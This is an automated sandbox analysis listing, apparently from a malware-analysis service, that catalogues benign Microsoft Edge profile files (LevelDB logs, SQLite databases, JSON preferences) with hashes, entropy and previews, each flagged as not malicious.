SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cc304efa-135d-4f28-a5d5-cf0315e37c39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d944ef97-3cbc-4a90-9959-e7be48c68c12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.299756948403693
Encrypted:	false
SSDEEP:	12:mIM+vBYebvqBZFUt8Hf/+SMV56YebvqBaJ:FdBYebvyg8r26YebvL
MD5:	CF5CDBC4D9B90842ED2C11317DF19224
SHA1:	DC395BC9F03F6B8CA3B7DD5BBD24B0136FFB16B1
SHA-256:	9D21D4FB182B600C9C56AD7A7FB995B1590968BC4447812BC6DB01C407427B0E
SHA-512:	DB8346D8FE4CB98326947A669B620EE3603F2F9B45270E62D973B6B33605C9BB2E5656FB6A1BD29DAEEB0F92F5D18988184FAF7D5DD155A71F734063D8F22889
Malicious:	false
Preview:	2024/11/24-21:39:57.596 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-21:39:57.598 1c8c Recovering log #3.2024/11/24-21:39:57.608 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.299756948403693
Encrypted:	false
SSDEEP:	12:mIM+vBYebvqBZFUt8Hf/+SMV56YebvqBaJ:FdBYebvyg8r26YebvL
MD5:	CF5CDBC4D9B90842ED2C11317DF19224
SHA1:	DC395BC9F03F6B8CA3B7DD5BBD24B0136FFB16B1
SHA-256:	9D21D4FB182B600C9C56AD7A7FB995B1590968BC4447812BC6DB01C407427B0E
SHA-512:	DB8346D8FE4CB98326947A669B620EE3603F2F9B45270E62D973B6B33605C9BB2E5656FB6A1BD29DAEEB0F92F5D18988184FAF7D5DD155A71F734063D8F22889
Malicious:	false
Preview:	2024/11/24-21:39:57.596 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-21:39:57.598 1c8c Recovering log #3.2024/11/24-21:39:57.608 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.273711624287371
Encrypted:	false
SSDEEP:	6:Hbg+q2PCHhJ23oH+TcwtpIFUt8YpfZZmw+YpwVkwOCHhJ23oH+Tcwta/WLJ:7lvBYebmFUt8uR/+uo56YebaUJ
MD5:	FBF62945479AADDA8EC611C252F2F680
SHA1:	58243539592D6719CCDBEAA6B0E9C76DED5E9BAA
SHA-256:	3907BCB58A9352590F07F90C0D93236345F05062EA4D41D99A0D7D9A4659D870
SHA-512:	CE77A4A668B0D7FB210420C2F792FB303A73726BCD824F874A4B8A4200707AE882A1E881BDD223C8C9C7AF80693E22D46553AE7664EE36D6A346F002F039FB3F
Malicious:	false
Preview:	2024/11/24-21:39:37.815 1a58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-21:39:37.911 1a58 Recovering log #3.2024/11/24-21:39:37.912 1a58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.273711624287371
Encrypted:	false
SSDEEP:	6:Hbg+q2PCHhJ23oH+TcwtpIFUt8YpfZZmw+YpwVkwOCHhJ23oH+Tcwta/WLJ:7lvBYebmFUt8uR/+uo56YebaUJ
MD5:	FBF62945479AADDA8EC611C252F2F680
SHA1:	58243539592D6719CCDBEAA6B0E9C76DED5E9BAA
SHA-256:	3907BCB58A9352590F07F90C0D93236345F05062EA4D41D99A0D7D9A4659D870
SHA-512:	CE77A4A668B0D7FB210420C2F792FB303A73726BCD824F874A4B8A4200707AE882A1E881BDD223C8C9C7AF80693E22D46553AE7664EE36D6A346F002F039FB3F
Malicious:	false
Preview:	2024/11/24-21:39:37.815 1a58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-21:39:37.911 1a58 Recovering log #3.2024/11/24-21:39:37.912 1a58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648057681624723
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM3SAELyKOMq+8QTQKC+CVumi:K0q+n0J39ELyKOMq+8Q7t
MD5:	C69F1A515350EB527B741221BDEB0C51
SHA1:	751C9F3E3EB471E366166377091D566FE97DD764
SHA-256:	D6276D5F97C7F818F79F72FB34BCEA73F41F55924FFAF03EB75D05C34F3FFF07
SHA-512:	E23D4BD6B5440D65B4F987F7E6F8F44AFE635933C6F36326D036AB8B79D3D224CB459FA4C21C3B83F408C879F51A4358ACD40765E05853F7F553DC54C484D19D
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46654367725952545
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0cl:v7doKsKuKZKlZNmu46yjx0S
MD5:	9059BC272C395C404125A0E05102B3B9
SHA1:	683481A60A8DAA383801AA1ADACE7D5B7AE92A04
SHA-256:	568696B3FC6AB82B3BFD1C6D957244D8E6565E6929320798B58D83135C2A92ED
SHA-512:	43C54F4A4E40D7350D1320BB656A47B484848C04278AD16604965EA36256254003DF885E0F49B1DB14726F210252BF7E4B43B8BB64315D9E9DDA7EFCE62695BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d5b4145d-30e1-4f08-97c1-f776c1e9b590.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\defac661-19a1-4a68-b9d7-589a8dff4e42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9601
Entropy (8bit):	5.113476818015282
Encrypted:	false
SSDEEP:	192:stIkdpcsTIRIa34HkU2TZ83bV+FZoQA4Jqq7NIxPJYJ:stIQcscRXHUbGKQxJ17NIo
MD5:	E0D42EB569B28788E47FB4F054019CA0
SHA1:	A2A3849EE174FDD561734BAA5E11CF467A07123F
SHA-256:	E3301427CF0DDDD537D6E198885A0A076F913182DE0622C0D62762F6885A477C
SHA-512:	AC5DE5FC81EACCECC82D4A74C9B605BAEA6DA69A9D92B14147B104A1D7DF5F36F5263D2FC00456D3BC3D6CC2F6D25ADA37800D233A36E87A1C27DC88F54A3AA1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376975978278783","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e5a56636-0703-4c5d-aa44-686141fd87b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5682415666639775
Encrypted:	false
SSDEEP:	768:Il59kOWPwWfSt8F1+UoAYDCx9Tuqh0VfUC9xbog/OVclYEprwrtpotur:Il59kOWPwWfStu1ja5CEarctQ
MD5:	48B747C0A6344E8F332482D37706961B
SHA1:	2FB1F778A5B7A041CD2154D3CD3B93AE1F3FE40F
SHA-256:	4B98B039A101E19EA86C400F59D588FC73C43F6D285B56EE5DDC5B17723409B4
SHA-512:	BB5B8F4B1C4A1DB6E08BE3BF6F9210D56882F90E56ABF66CA2CC0BC90E76729D0DE6FF58F0370D200E04E656474877324F27516B809B0A9FD6D22B337BE6B333
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376975977798032","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376975977798032","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10252476039566844
Encrypted:	false
SSDEEP:	12:+9b++9b+zspEjVl/PnnnnnnnnnnnvoQ/Eou:+M+MMoPnnnnnnnnnnnv1j
MD5:	D84005A78D61380F6DD568B1B86C6A65
SHA1:	1E3F6423F43041D4823102035C8861FF4CDBD35E
SHA-256:	642D991EB69AD1314D799AAA53C89B672B9A589D23CA41F8D23D9D0B6086802B
SHA-512:	07B7AEEC125C2B86553324CF5B906069679CC5F84CB918718FB6A788123018108C531CE471D9897DFCECF37454DF978D46513FECBD31A9004FD38D1D5EA4F165
Malicious:	false
Preview:	..-.............M........=U..u>..XE6.:..{RF......-.............M........=U..u>..XE6.:..{RF............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8885759651835233
Encrypted:	false
SSDEEP:	384:zvWEfF1iePIg1oIUkggI0c7zIy3s7IDuKSItH31gI7v8c8fyByXDyayxJyGxyGb9:/RkPe8zz3f
MD5:	BD1586EDFB98967DAFA20EF312435267
SHA1:	08081CDA25FC5F92B68E51F8866CAF50875B131F
SHA-256:	1887500C84E9E15770D83CC9570C41BFD99B219ED20F71BA63C170175DE4C534
SHA-512:	DB085A525A116CD2322C9CBACF943229A595FAA38388537898958D7855789CFDB38044A6EB4BA6B1BEDC2046248EF91A0DD73707E049103D7899EB86ABF00258
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	3.995914401175322
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuujill5VnRV4sedhOs:lllc8zWrOuuuuuuuuuuuullJ8V
MD5:	ADC0303EB0EC4CFA4D444B0F714A9DFD
SHA1:	CBE929C8BB16A888A539227F236BA9A181E91AFB
SHA-256:	BC20D5DBFE31CBBC15E200171210DD2082011AAE487FB5FCEE071E496A329F73
SHA-512:	A1110ABFB90EFD8FF82C9AE2C36713C3039F301C4204C3D82B7FB3DFBD4A5FCBE5667BC26CC1A63DD3838B1927F756DC8CE830511785741B1C6D22B74F55FDA7
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............0.V@:...............#38_h.......6.Z..W.F.....Ttp.....Ttp........JV.e.................`..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.289284181063471
Encrypted:	false
SSDEEP:	6:HpkEL+q2PCHhJ23oH+TcwtfrK+IFUt8YpkS1Zmw+YpkELVkwOCHhJ23oH+TcwtfR:JKvBYeb23FUt8GJ1/+GZ56Yeb3J
MD5:	28BF4D4BC6A648F64B9FD3F337C7D8E6
SHA1:	40D3C11E36F61C91B53F47CDD80A69FD68AD8975
SHA-256:	FAB0472F1F55ACFA7F9E6346E59D5BF2837249D7125E20CCF33A2DB9C586C9B2
SHA-512:	721021B1FD3EDED7E8135BE0E087F3472C23BC902A14FBD1A1566F0ED82D948542F3AAC80BC8ED2BF6AE612095CDA6F6FBCF90B90D1385CABB2FB895923490DB
Malicious:	false
Preview:	2024/11/24-21:39:38.295 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-21:39:38.295 1758 Recovering log #3.2024/11/24-21:39:38.295 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.289284181063471
Encrypted:	false
SSDEEP:	6:HpkEL+q2PCHhJ23oH+TcwtfrK+IFUt8YpkS1Zmw+YpkELVkwOCHhJ23oH+TcwtfR:JKvBYeb23FUt8GJ1/+GZ56Yeb3J
MD5:	28BF4D4BC6A648F64B9FD3F337C7D8E6
SHA1:	40D3C11E36F61C91B53F47CDD80A69FD68AD8975
SHA-256:	FAB0472F1F55ACFA7F9E6346E59D5BF2837249D7125E20CCF33A2DB9C586C9B2
SHA-512:	721021B1FD3EDED7E8135BE0E087F3472C23BC902A14FBD1A1566F0ED82D948542F3AAC80BC8ED2BF6AE612095CDA6F6FBCF90B90D1385CABB2FB895923490DB
Malicious:	false
Preview:	2024/11/24-21:39:38.295 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/24-21:39:38.295 1758 Recovering log #3.2024/11/24-21:39:38.295 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.2585726359835325
Encrypted:	false
SSDEEP:	6:HpWL+q2PCHhJ23oH+TcwtfrzAdIFUt8YpA1Zmw+YpjlLVkwOCHhJ23oH+Tcwtfrm:JLvBYeb9FUt8GA1/+Gjz56Yeb2J
MD5:	402C2328176899016A1D524FEE8F704C
SHA1:	3D7FFD112E5606323E5AD6D579C0A727AFE94551
SHA-256:	9FD8E4271C9F446F8C089D837A4C89E4D8B34A601919E72CAC44CC77A7B6ABD6
SHA-512:	6D795D0F7466F4B67A9C1455C865ED91ABCD0DB4368DAE172E998D72DC6804C26257E53C0D6A1F0CE27ED15CAD71D9359FF928BCEF12671EB78659ACEB4E8D8C
Malicious:	false
Preview:	2024/11/24-21:39:38.292 1758 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/24-21:39:38.292 1758 Recovering log #3.2024/11/24-21:39:38.293 1758 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

